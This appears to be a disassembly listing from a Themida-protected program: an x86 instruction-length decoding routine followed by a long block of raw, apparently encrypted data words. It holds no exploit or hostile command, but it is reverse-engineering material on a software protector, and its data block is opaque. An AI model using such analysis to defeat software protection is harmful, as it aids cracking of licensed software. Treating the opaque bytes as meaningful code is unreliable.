		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D7962
		dec	ecx
		jz	loc_5D7945
		dec	ecx
		jnz	loc_5D79B5
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D79B1
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D7924
		mov	byte ptr [ebp+0Bh], 2


loc_5D7924:				; CODE XREF: Themida_:005D791Aj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199D92h
		mov	dword ptr [ebp+6199AE4h], 1
		pop	ebp
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D7945:				; CODE XREF: Themida_:005D78FFj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D798F
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D798F
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5D798F
; ---------------------------------------------------------------------------


loc_5D7962:				; CODE XREF: Themida_:005D78F8j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D79A8
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D7997
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D798F
		mov	[ebp+0Bh], cl


loc_5D798F:				; CODE XREF: Themida_:005D7949j
					; Themida_:005D7953j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D7997:				; CODE XREF: Themida_:005D7970j
		cmp	dl, 5
		jnz	loc_5D79B5
		mov	[ebp+0Bh], dl
		jmp	loc_5D79B5
; ---------------------------------------------------------------------------


loc_5D79A8:				; CODE XREF: Themida_:005D7966j
		cmp	dl, 6
		jnz	loc_5D79B5


loc_5D79B1:				; CODE XREF: Themida_:005D7910j
		mov	byte ptr [ebp+0Bh], 3


loc_5D79B5:				; CODE XREF: Themida_:005D7906j
					; Themida_:005D7940j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5D79E3
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5D79C5:				; CODE XREF: Themida_:005D79DBj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D79C5
		mov	esi, edx


loc_5D79E3:				; CODE XREF: Themida_:005D79B8j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D7A18
		cmp	edi, 7Fh
		ja	loc_5D7A18
		test	bl, 38h
		jnz	loc_5D7A18
		cmp	byte ptr [ebp-7], 0
		jz	loc_5D7A12
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5D7A15
; ---------------------------------------------------------------------------


loc_5D7A12:				; CODE XREF: Themida_:005D7A03j
		push	1
		pop	eax


loc_5D7A15:				; CODE XREF: Themida_:005D7A0Dj
		mov	[ebp-1], al


loc_5D7A18:				; CODE XREF: Themida_:005D79E7j
					; Themida_:005D79F0j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5D7A1E:				; CODE XREF: Themida_:005D78C8j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D7A49
		dec	eax
		dec	eax
		jz	loc_5D7A3F
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5D7A51
; ---------------------------------------------------------------------------


loc_5D7A3F:				; CODE XREF: Themida_:005D7A2Ej
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5D7A4E
; ---------------------------------------------------------------------------


loc_5D7A49:				; CODE XREF: Themida_:005D7A26j
		mov	al, [ebp-3]
		add	al, 4


loc_5D7A4E:				; CODE XREF: Themida_:005D7A44j
		add	[ebp-1], al


loc_5D7A51:				; CODE XREF: Themida_:005D7A3Aj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5D7A79
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5D7A64:				; CODE XREF: Themida_:005D7A73j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D7A64


loc_5D7A79:				; CODE XREF: Themida_:005D7A59j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 9B91858Dh, 85890619h, 6141AA5h, 9E8h, 0BDDFE700h, 625BD3C0h
		dd 0EE80CD55h, 81665FD5h, 81CEFBCAh, 6DFFC7h, 5BBEF900h
		dd 0F00001Bh, 58Ah, 92D9B800h, 1F8B505Bh, 8850Fh, 0F560000h
		dd 8Fh,	0F3815900h, 605C112Ch, 0C381C78Ah, 44DE3C01h, 0C381CB8Bh
		dd 1FFB22Eh, 5820Fh, 0CFB90000h, 537BD306h, 88F0Fh, 830F0000h
		dd 2, 78F5A51h,	6E9h, 78F000h, 8180864Ah, 0EEE7FAEFh, 28A0F10h
		dd 8B000000h, 0F6C781D3h, 6610EEE7h, 0F4ECA8Bh,	0FFFF9585h
		dd 0F8CD80FFh, 0DE8h, 0CEA84300h, 0A0D7D903h, 25C4ED71h
		dd 0F60906Ch, 1985h, 14E900h, 0F79B0000h, 0E45800F6h, 9FFDBDAAh
		dd 0C1A89C9Ah, 0E53579C4h, 8A0FCB8Dh, 2, 5E616160h, 0DCB96651h
		dd 0C6815FB7h, 643Eh, 0DB3317B5h, 8C58056h, 3334FF58h
		dd 0EAF08166h, 0F0805AA4h, 92F281B9h, 800064E8h, 0C28188D8h
		dd 58CE9C33h, 12850Fh, 0DE90000h, 89000000h, 329FE5CFh
		dd 0E13AEF04h, 0FB20231Bh, 21D3F281h, 14890DF0h, 0EE8F91Eh
		dd 15000000h, 0D397A1D9h, 0CC37C740h, 32D8B560h, 6850FF7h
		dd 0F000000h, 81h, 0EB815800h, 42609ECEh, 9ECAC381h, 81F84260h
		dd 0FF9C98FBh, 8A850FFFh, 0E9FFFFFFh, 13h, 4B5BDAB7h, 0A895F7D0h
		dd 0AEFA54C0h, 0ADD52B31h, 8D851D88h, 19A18B8Dh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1D04h, 0C3514100h
		dd 346046Bh, 7490C391h,	2AB80579h, 897B86BBh, 142B698Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A7E88A7Dh, 3CBB665Ah, 5585C7CEh, 14061410h
		dd 6A00005Dh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 2891C351h, 801E59AAh, 85C739E0h
		dd 614013Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0BCC35040h
		dd 0AE9446Eh, 2B000000h, 0F55973F9h, 20E41E7Fh,	11B5FF32h
		dd 6A06141Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 2041C357h, 7834F269h, 130DB589h
		dd 95FF0614h, 6140BD9h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0CCC35343h, 0D53D44BFh, 52E271CFh, 5EE28A53h
		dd 95FF006Ah, 6142971h,	3EEBC08Bh, 5BEE9F71h, 0C3BBCF3Fh
		dd 0CF582182h, 0AA55413Ah, 84973CE4h, 73DBB3ECh, 13E23823h
		dd 0BC7679B7h, 0FB0D2C78h, 41CB3B16h, 6E5D3874h, 0BE23F9FBh
		dd 293429E2h, 0DE1CB1A6h, 77D8E0D0h, 8D8D383Ch,	619A295h
		dd 2C699589h, 8D890614h, 6142B69h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0AC35040h, 159D4132h, 579E1275h
		dd 0AE8h, 61875900h, 0B59310Ch,	0FD0B441h, 68Ch, 48DF8100h
		dd 5B0B48F1h, 11E9h, 0EDBF6B00h, 0C3563A32h, 38872AAFh
		dd 0D5926D76h, 85C7D80Eh, 6141055h, 6068h, 0DD76BE66h
		dd 13D85C7h, 614h, 8E90000h, 0AA000000h, 0C1F4A722h, 0FFCCD418h
		dd 140E1DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0FDABD09h, 95FFFFB7h, 6140BD9h, 0DE1B509h
		dd 6A0614h, 297195FFh, 0C08B0614h, 377E3EEBh, 45F6E2ADh
		dd 0C502B502h, 4A58A98h, 3EE2E5C8h, 2D69855Ch, 2B776E2h
		dd 4D287ABFh, 64971C38h, 7E849999h, 4B26A166h, 9A64423Dh
		dd 0A934A9B3h, 0B6D0A4F7h, 802F507Ch, 73CE58EAh, 37E9h
		dd 0AAA60C00h, 809E012Fh, 7Ch, 0Bh dup(0)
		dd 0D2EE9h, 0A48E6800h,	0BDE90619h, 68FFFADDh, 619A5B5h
		dd 0FADDB3E9h, 0A75A68FFh, 0A9E90619h, 68FFFADDh, 619A894h
		dd 0FADD9FE9h, 0A9D368FFh, 95E90619h, 68FFFADDh, 619AC26h
		dd 0FADD8BE9h, 0AD8F68FFh, 81E90619h, 68FFFADDh, 619AE94h
		dd 0FADD77E9h, 83FE0EFFh, 0AEDFE07Fh, 0D7D2FD6Ah, 0FFB6D453h
		dd 0E09DAC3Bh, 0DB59F1Ch, 0E07F83FEh, 0F966AAE3h, 0D14ED2CDh
		dd 5D38FCAFh, 31F241EEh, 0C27155E9h, 366567DEh,	54477906h
		dd 2B51B0D0h, 63DB9710h, 282C49DCh, 83AE9110h, 814C55E4h
		dd 99C2686Ah, 0A11C8BA8h, 0E49B3504h, 48CA4E55h, 31BFh
		dd 61807500h, 6799E01Bh, 72800434h, 6C66F431h, 9BFF49DCh
		dd 0B7EA1960h, 5DE0417Dh, 0BF55E49Ch, 67E63950h, 18E03269h
		dd 8BA89AD2h, 0CEECh, 6567C800h, 4A790636h, 26582757h
		dd 0B2ED1960h, 0C3F3E9Ah, 2553F092h, 5ED91DF0h,	0D1B509BCh
		dd 0C0C29DADh, 6E0049CDh, 2C53F07Dh, 316C981Ah,	0FD66FE0Dh
		dd 36CD868h, 403BFF35h,	0ABF948D5h, 167A53F0h, 4E3D4F1Ch
		dd 5127C63Eh, 4359FD3Ah, 0D69549DCh, 4BCFFFBAh,	51D5B9C9h
		dd 0D36ECF3Ah, 5055E4C3h, 7F8E26ECh, 0ADDDD0F2h, 0A9F60529h
		dd 4FCB9B44h, 0B25699EFh, 0D7748003h, 0C2C198B3h, 9CADBCCFh
		dd 0F86713E1h, 5A53D4C9h, 2663028Dh, 0ADFE4B6h,	0D9E90000h
		dd 0C4C562A6h, 0AFDA45C9h, 93B12EF2h, 7C8B1418h, 5A7EFD01h
		dd 5CA0DDECh, 4BCFC6C3h, 31F5B0DCh, 151994B6h, 95A40178h
		dd 2E55E936h, 686723E5h, 5476F135h, 801FD559h, 47E01B61h
		dd 49DC6CD7h, 47F23328h, 0DC55E49Ch, 0EAA1AF78h, 0F45B6C6h
		dd 2F3DA968h, 39B47EFFh, 55E48706h, 1F1279E4h, 0C1A47049h
		dd 0C3511786h, 0A988F13Fh, 1058D8Bh, 0CB920000h, 0B4CBC3BAh
		dd 68EC1C99h, 6744CE44h, 0AA053665h, 9243FE3Fh,	7CC053F0h
		dd 0F092CE7Dh, 0A1DCEE53h, 0F5592DA9h, 441C8F3Fh, 0D5C27767h
		dd 0DB7082DBh, 82FF0AACh, 1E180E8Ah, 0E4B7B5D9h, 6BCAC2E6h
		dd 53F08987h, 3B7290EFh, 6D2022F9h, 910C3EA9h, 94E00179h
		dd 591CC667h, 0B19549DCh, 0CEC5C39Ah, 18D85ABEh, 0B2601563h
		dd 0E9364849h, 0A57B1B28h, 49CB4B90h, 0EBE09475h, 0CB56304Ah
		dd 88A7394Fh, 723AD4Eh,	678B0601h, 14314843h, 2FE56199h
		dd 0C3BECD9Ch, 892B1C8h, 0DB429CAFh, 0F33175Fh,	0B3D24D05h
		dd 1A4A39FEh, 0A626301h, 9B838h, 0FFB2D200h, 0E29BAC3Bh
		dd 0B86811Eh, 336A9807h, 5C5170EFh, 0C97953D8h,	0A443C7BAh
		dd 0BD2AEEA7h, 95121691h, 99F43873h, 37B68522h,	86CD55E9h
		dd 35686702h, 98CA9AF1h, 65B5B3EEh, 4F712EE4h, 215FEA4Bh
		dd 67D453F0h, 0F0210BC6h, 60848853h, 677AB87Ch,	79063665h
		dd 0B0D05447h, 49102B51h, 67D25337h, 0FC53F092h, 0C0447498h
		dd 0AB067132h, 0F0923F0Ah, 0B9F41F53h, 0C2B341C5h, 49DC902Ch
		dd 79C0B3C5h, 22017BE5h, 0CE9D0E3Eh, 404DC7C2h,	55E4E5FEh
		dd 8598FF1Eh, 51C0F4CFh, 130CD555h, 98DBDF8h, 82B9670Bh
		dd 0AA058BA9h, 0E4603E0Dh, 43D1B555h, 63AA0h, 61800C00h
		dd 0AB47E01Bh, 5C49DC65h, 85F34EEFh, 0C7055E4h,	0EE51D0E8h
		dd 0C55E485h, 477AAC1h,	31494445h, 85A594D5h, 5A3E55E4h
		dd 31C3BECDh, 0A89F83A9h, 601138Bh, 80990000h, 0A8E5E061h
		dd 0FB103490h, 0DC4894BAh, 0DC0A5A49h, 6DD3FF60h, 0F7707082h
		dd 8981A5D8h, 0E4A41528h, 0B5B4F755h, 77141E99h, 0BF0CD220h
		dd 0CCAA8BA8h, 6000005h, 5EAF591Eh, 6294112Ah, 0BC49DC6Bh
		dd 2EE49FADh, 948776DAh, 85B7D6DCh, 0B38DFDDCh,	6A001847h
		dd 0E6D75D41h, 0C9C9180Ch, 0FF0C7889h, 0F514B8BEh, 255539DBh
		dd 23582CBDh, 139CA9B0h, 82519D74h, 1A315579h, 0CD02AE9Dh
		dd 0D32125CBh, 0E1CE8DE2h, 6C9AE1D1h, 6BBD1931h, 0D2E590D0h
		dd 7B8F8574h, 0FB89E417h, 2F683DC3h, 0E5BA781Dh, 0FB64A8E3h
		dd 684DD2C9h, 18D0DBC6h, 81392A0h, 0D3D0000h, 0F0118E92h
		dd 0E3EE79BDh, 0C7C562A6h, 0B0DF48CCh, 9EB239FDh, 0A0641928h
		dd 8F930A07h, 75B9F410h, 61A5D8EAh, 0D968B534h,	5A55E935h
		dd 0F48BF739h, 6E1F20D2h, 5CD6324Ah, 0FE0E7D8Fh, 0FA116786h
		dd 0DAF1E1BDh, 22E66A49h, 6C6C1B69h, 4CAD9549h,	0E843FE3Fh
		dd 7CC055E9h, 0E848C7B6h, 0F70855E9h, 3155507Dh, 99AB3A0Dh
		dd 83661EE2h, 6387020Eh, 0E864CF68h, 8B8F55E9h,	0A3DAEC73h
		dd 4542C5Fh, 0B72527C2h, 0AA284D0Eh, 0DF676F74h, 0E902E35Eh
		dd 0F81C6055h, 294BB3Ah, 98B455E9h, 7C8E191Dh, 2BA8916h
		dd 0A73955E9h, 0B4BAD299h, 0CDF115BAh, 1C17CBDh, 8DCA55E9h
		dd 98B4CB66h, 4678171Dh, 0A1B8D357h, 752AE8A3h,	10A2A353h
		dd 682BAF3h, 6FCEFEE2h,	55E911D0h, 83C22908h, 0DCCFF181h
		dd 428ACh, 0E92Ah, 65674000h, 47460536h, 0F41893B1h, 69611C2Bh
		dd 0F88727EDh, 78B9D1CCh, 53F092C9h, 9CACDFE1h,	84B7C524h
		dd 78355229h, 4F4EC440h, 49DAF193h, 0ABD9A013h,	7D7CD8F0h
		dd 55E931CEh, 0ECA0DDEEh, 0FA5EAA68h, 13475A35h, 20F26A69h
		dd 6D9h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h, 12168DBBh, 0F73B7695h
		dd 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h, 8ABC2BEFh, 1F620F13h
		dd 0E93AA39Eh, 29932055h, 6366567h, 0E7404A79h,	53F09254h
		dd 0C3476BEFh, 0A96D2824h, 8D910C3Eh, 8EBEF312h, 0AFDFD2F1h
		dd 94B3DA79h, 58F43875h, 85948C92h, 0E2Ch, 1D2A3100h, 26EC6860h
		dd 6D2A3Ch, 67400000h, 0A7063665h, 53F06298h, 4B7A9140h
		dd 21BE4239h, 0E1526A25h, 535689Ah, 2D686681h, 8254F6E7h
		dd 0D5053F0h, 0F0ABA7E6h, 6B67E62Ch, 4B471830h,	26273850h
		dd 7384777h, 85326696h,	0A5D2A46Eh, 98133F4Eh, 6BCDD594h
		dd 255653F0h, 3C792B26h, 53F09A0Dh, 6E9E8286h, 9B4028EAh
		dd 25859490h, 0FFFFFEDEh, 3392AF3h, 8B400000h, 0A3DBD2F4h
		dd 0C3EED27h, 0E6E37A91h, 0D85965AFh, 53F09275h, 41793455h
		dd 6696133Eh, 141E7522h, 1D2C430Ch, 0C49BB0EBh,	5ABECEC7h
		dd 7D8F18D8h, 90BFFE0Eh, 0B053F092h, 77EF1F8Eh,	9BE9E296h
		dd 0A07AF651h, 8BB7940h, 0DA58F3AFh, 202C3349h,	108DBA65h
		dd 9D62E602h, 69129ECCh, 9A6634A4h, 0B4000005h,	8A151994h
		dd 67000479h, 72ED316Ch, 4AD55954h, 39C2463Bh, 0EDA0AF17h
		dd 1491BE29h, 7B9710h, 2A6163FCh, 0F7308BE6h, 55E93B44h
		dd 6770B4DFh, 0B5842165h, 6553F092h, 0F3572B66h, 344CBFCFh
		dd 1D1DA38Eh, 9C64C31h,	0E48387FAh, 0E441BCE2h,	53F0F555h
		dd 0D0636AEEh, 0F853F0F5h, 9EE2D6C7h, 1A29B67Ah, 0BCF95467h
		dd 53F0F58Dh, 0B4F00206h, 0E9E19CABh, 4A79903Fh, 16C2463Bh
		dd 8594EFC8h, 24ED6h, 6580C200h, 894EEF1Fh, 352879Dh, 7FADADC4h
		dd 1F848387h, 237h, 8658095h, 2C5C4F71h, 9292A1A8h, 3A1153F0h
		dd 0F0924EFDh, 5D41C553h, 0C8970239h, 414CC6B7h, 53F092F2h
		dd 0BCFD0D71h, 52879DF7h, 7EBF2A11h, 0AD1E6DC3h, 0B8008DE2h
		dd 2195394Ch, 0E108D75Dh, 41E5364Eh, 6DAAB4D0h,	0FA15DBA7h
		dd 0E4A18482h, 0F000001h, 0EC1F6580h, 0E3316C9Dh, 92D067C0h
		dd 5D2C53F0h, 0C044742Fh, 3A523632h, 879D32FBh,	39749652h
		dd 504D7E01h, 6A862E38h, 9F7CCCADh, 0C6056CABh,	0B8A5C9C4h
		dd 64FB365Dh, 0B81C2C69h, 0DD48967Ah, 9C568482h, 42000001h
		dd 0EC1F6580h, 0F092E843h
		dd 0F4070B53h, 922D1C99h, 0A2A653F0h, 1CD55450h, 0BE52879Dh
		dd 0F43A385Fh, 42848387h, 66960D3Bh, 91B5E819h,	169E083h
		dd 8BCC0000h, 5AD8D5F4h, 0F3088385h, 5310F665h,	0CE44DF95h
		dd 0D1FE8DFEh, 0D220A4D4h, 8C900B3Dh, 546715F4h, 7BB9F415h
		dd 9523EF48h, 40C449DCh, 9556E948h, 75B455E5h, 95AE9D1Ah
		dd 212555E5h, 4AE50CD3h, 979D1833h, 0A99025CBh,	4EB18Bh
		dd 8B7F0000h, 92AC9F18h, 232753F0h, 780CDDD1h, 920B3C43h
		dd 0AB141E7Ah, 0DC6C1C0Ah, 3C4B1249h, 47CD4941h, 0E724AD23h
		dd 8395103Ch, 0AFD3EA84h, 0A62F1E9Fh, 20F55E4h,	0DAEC738Bh
		dd 0CD3ABA3h, 0C5005DE5h, 0C07EACAEh, 8E188BA8h, 94000000h
		dd 6366567h, 0A0AC4A79h, 0B6C9C1E5h, 9EE11994h,	0ACED316Ch
		dd 53F097C2h, 4BCFBEC0h, 0ADDEAA3Bh, 0DFF27C00h, 5E6AF549h
		dd 0D3F7A6D8h, 95C49CAFh, 4F06B4B3h, 9BE2DD57h,	72ED316Ch
		dd 12D95E53h, 0EA691635h, 347A072h, 41410000h, 2C5DCA4Eh
		dd 1732AD71h, 0FB09969Ah, 0E4E37C80h, 0F2E665A9h, 0C4484544h
		dd 0B3772E5Bh, 999D1834h, 7D81FC0Eh, 3D0CA910h,	0B655E93Eh
		dd 68679B1Dh, 0AAB0635h, 53F0923Fh, 9642D0B4h, 8084F709h
		dd 0D3F48BB2h, 3B1B44DAh, 58229B4Eh, 880305DAh,	2DA1E573h
		dd 0AA157D8Ah, 1035C68h, 7BC7868Ah, 0CB53F06Eh,	0EE1E97B4h
		dd 138EBD6Ah, 285CAD01h, 403D4C13h, 0C6B4F1B2h,	5F49DC6Ah
		dd 67FD37FBh, 0C4BFCD65h, 1F2C50B4h, 0C94B4240h, 2D6062FDh
		dd 3C4899E9h, 63ECAE0Fh, 0FA0549DCh, 0A4BBD3CEh, 7BDFEFA6h
		dd 9A1B3357h, 55E483A3h, 0BC6F8641h, 0D4E49FADh, 10DEA270h
		dd 0AE8BA89Ah, 32h, 1B61800Ah, 6CD747E0h, 242849DCh, 9CAA9514h
		dd 514855E4h, 895FF0Ah,	55E49C39h, 60B2D6BAh, 0B866749Bh
		dd 0C68BA89Ah, 0C0h, 0BAF3146Bh, 0F48BF678h, 8655DFD6h
		dd 6EF10984h, 5B29225Fh, 4658C1F3h, 0A9151F7Fh,	102B4D6h
		dd 3F76938Ch, 6A9CE31Bh, 0AD1833h, 53F0BA31h, 8C44CEB2h
		dd 0F0BF21CDh, 2C5F6153h, 0BDCC93E8h, 0C64CC8C0h, 7484F709h
		dd 504D7807h, 6D1BEAC2h, 5A1DD15Eh, 89D649DCh, 191D017Ch
		dd 0DFEC9869h, 0CB98545Eh, 92A9AD4Fh, 3DC1BCCBh, 29EEA3A2h
		dd 6301F06Ch, 0DE869404h, 0E8000001h, 0C661A5D8h, 0DB44C8C5h
		dd 0B631F5B0h, 8E191D98h, 7DFE027Fh, 0A1DCEB5Bh, 0C8C5C25Dh
		dd 0F4AFDB44h, 0E695B730h, 0ABF47722h, 55E93F98h, 6734F81Bh
		dd 84FBC768h, 0ECF43B58h, 0A9DB44C8h, 8482D9F2h, 854F0B09h
		dd 0A30C6180h, 53F09290h, 0F00B2F13h, 0CECBC685h, 0DDD85ABEh
		dd 49DC6C4Dh, 0F2898286h, 18602ED1h, 41A39AC3h,	64D7D75Dh
		dd 0DC59FDECh, 26ECE93Bh, 0E49288B7h, 84EB6A55h, 0A88CA876h
		dd 0BC368Bh, 67E20000h,	95063665h, 34FEBBD6h, 5356867h
		dd 0F097CAA4h, 0C7B6C853h, 97384843h, 85000B6Eh, 0DF1F1175h
		dd 5F0C06B8h, 0F8A852Dh, 47779BFFh, 417A0EDFh, 62E59ED6h
		dd 7950D8C0h, 0CE703ABBh, 95F949DCh, 6410F191h,	29ADD657h
		dd 30464FCBh, 0D737650h, 8FBAFB98h, 45FDB73h, 0C3F81C00h
		dd 0FB108DBCh, 10286564h, 2DBA7EB4h, 0CC66981Eh, 0BEA2C6BFh
		dd 109C679h, 0DCEE5E63h, 0D9h, 54D8D3F3h, 3FC3BACBh, 24E8A5A0h
		dd 12168DBBh, 0F73B7695h, 0D3F24074h, 0C0CD5ADEh, 0AAA641C5h
		dd 8ABC2BEFh, 1F620F13h, 0E93CA39Eh, 29932055h,	0F1356867h
		dd 22595476h, 0A072295Bh, 656722F0h, 3FAA0536h,	0F09243FEh
		dd 7D7CC053h, 53F092CEh, 2426C145h, 3FF55169h, 0C8CEF08Fh
		dd 0F092DC6Fh, 0CFF35753h, 5CB3A4BCh, 5EED0916h, 15B1802Dh
		dd 4E3253F0h, 0E07F0CC4h, 389CACE1h, 5523C2FAh,	97B4CB26h
		dd 0C199141Eh, 7249DA76h, 5F61FE0Eh, 0DDC1BCD7h, 0C1BCCE59h
		dd 4F7968C9h, 516AAA59h, 0D38AB9E6h, 5097C3Dh, 0FA09600Fh
		dd 3A51D5C8h, 0D3D36ECFh, 0EC507C3Dh, 24576926h, 463D4B14h
		dd 0B62D136h, 4FD3CAFCh, 0CFFFAED0h, 8FDh, 0F48B7B00h
		dd 6E5AD8D5h, 34676744h, 52497B04h, 6E29253Ah, 8904015Eh
		dd 0A2DFEE71h, 0FBB6D5AAh, 178EBCC3h, 306D98E7h, 57464718h
		dd 89561F27h, 4C681E6h,	83000000h, 348704EEh, 2C895C24h
		dd 212E6824h, 34890000h, 0E2895224h, 4C281h, 0EA810000h
		dd 4, 5C241487h, 52240489h, 4016BE56h, 0CE8140A8h, 7ED3744Dh
		dd 385DEE81h, 0F289008Ch, 8E2C15Eh, 4494F281h, 0D2F774B1h
		dd 7A83E281h, 0D2F7329Eh, 0DB6DC281h, 0D689262Bh, 48B545Ah
		dd 4C48124h, 68000000h,	2831h, 0B9240C89h, 8, 3189C101h
		dd 24048B59h, 81E28952h, 4C2h, 4C28300h, 5C241487h, 5624348Bh
		dd 0C681E689h, 4, 8704C683h, 0E95C2434h, 0FFFAD0A4h, 0DDEA9F4Dh
		dd 0D52A9569h, 0B8E5B396h, 619AF92h, 0E0FFC503h, 2BE84F25h
		dd 5E921199h, 92F9CF8h,	6F0D7455h, 1A64130Bh, 3802E79Dh
		dd 0C1F9767h, 11031F11h, 5FD261ADh, 20ECAC8Ch, 586192CFh
		dd 391084Eh, 4BF22A49h,	64FEC8BCh, 2D1918F5h, 18CD7C84h
		dd 57F8FCAh, 7E605700h,	3C3D5ECh, 71D2AFh, 3C8FFB1Dh, 5F9F2252h
		dd 0B16F8D8Dh, 6A0619h,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 31698DC3h, 14308195h, 19B58B06h
		dd 8906142Eh, 142B698Dh, 0AE9F906h, 0C7000000h,	121731A2h
		dd 53D73278h, 5585C7F3h, 28061410h, 89000061h, 140CFD9Dh
		dd 3D85C706h, 61401h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 3470C350h, 0B5FF8F66h
		dd 614080Dh, 0FE9h, 4C015A00h, 8FA9DC78h, 77520CECh, 0C32CC656h
		dd 0BD995FFh, 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0B58958C3h, 6142D31h, 95FF006Ah
		dd 6142971h, 78EBC08Bh,	653A7B4Fh, 10BAE66Bh, 2C1C3F32h
		dd 81674D51h, 888DD0E1h, 2646A7Dh, 84EEFEDEh, 181080D5h
		dd 0CD7813BDh, 0A3BA6B39h, 0AB210767h, 6B377C6Bh, 2A381B88h
		dd 0DCF5A4FAh, 0F709B234h, 26269204h, 0BD973BF2h, 8443A4C8h
		dd 72CCA88h, 0C3E922Ch,	0C7DC6EE4h, 7E0EA353h, 0E959AFC8h
		dd 31B5AB1Bh, 0D1275C80h, 0DA38ABA0h, 48C30946h, 4FB320ABh
		dd 0BC7E9A31h, 704FECA0h, 9E9h,	5A6A3F00h, 3Dh,	0E7E90000h
		dd 98000004h, 76F13568h, 4BD45855h, 26C14540h, 3EA96D28h
		dd 0D8E920Fh, 316C9B2Bh, 585572EDh, 443F4BD4h, 762527C0h
		dd 3B64C7B2h, 55E92308h, 6744488Bh, 95063665h, 3AF8B5D6h
		dd 0E72B6665h, 24574678h, 0BA6C2725h, 4E6C5F49h, 29959FFEh
		dd 53EE4FBAh, 0D053F03Bh, 0D7E9A66Ch, 0BACB94A4h, 96B1C8C3h
		dd 0E9AD191Bh, 0A6D8E70Eh, 98B433F7h, 6D9FEE1Dh, 109D0E3Eh
		dd 53F03B21h, 78BADEA2h, 68232FB8h, 8B020F50h, 0CE251473h
		dd 141893BFh, 0A02798Bh, 0F03B97ABh, 1E95B353h,	3D7091EEh
		dd 739E890Dh, 3BB58421h, 4ACE53F0h, 42B11626h, 4827E72Bh
		dd 12930E21h, 53F03827h, 0B65AD8BCh, 85953668h,	4876h
		dd 0D84D1B00h, 0CE857140h, 676CD65Ch, 0A7063665h, 53F0929Ah
		dd 539FF699h, 85948C8Dh, 129h, 66678700h, 47780737h, 2B592656h
		dd 8075870h, 0EF1A6595h, 0DE3D9AB2h, 47988B7h, 3C533CE0h
		dd 7D81FC0Dh, 69ADE0E2h, 356867ABh, 3F0AAB06h
		dd 0B453F092h, 1D6242D0h, 0C39AB1ECh, 0EDEA3FC8h, 0A19BFADBh
		dd 0B098DBDh, 10A2A4BBh, 783BBF2h, 429DEBE3h, 0D35F7761h
		dd 0A7EB1906h, 0F028CB06h, 0A0C44853h, 0C3BAD7A8h, 8D74FCBh
		dd 286759E1h, 0E8382C1h, 306B9D0Ah, 514C4718h, 1279E439h
		dd 95452AC0h, 669485h, 67000000h, 0C1BCCE68h, 12294DC9h
		dd 0D6397742h, 989A8ACDh, 0E34CBF2Ch, 53F0F350h, 0F6A56FD3h
		dd 0EAAEDEDBh, 3D4BE60Dh, 0DBC121Fh, 7D45E54h, 16919508h
		dd 0FD82BAF7h, 19A4D4CFh, 0DB76B722h, 5853F0E9h, 3A513EF4h
		dd 95060238h, 3FFC85h, 67380000h, 7A053568h, 2138534Eh
		dd 1AAA6823h, 0BBCA216Eh, 0C70D118Ch, 7376667h,	0FDB8D594h
		dd 92844637h, 0D6B953F0h, 0EE1D6CBFh, 92C87BA4h, 0C74B53F0h
		dd 638951A3h, 7385948Ch, 1, 316C67B9h, 330EAF1Ah, 0B053F092h
		dd 0F56646CCh, 922E1D9Ah, 0A1A553F0h, 31494446h, 7E805FD5h
		dd 0B998FF0Fh, 9D183352h, 6C18E999h, 6290DE5Fh,	0ED5149DCh
		dd 0D8082DDh, 0CA6C9E09h, 930E3ABCh, 25FB5F6Fh,	0E5280583h
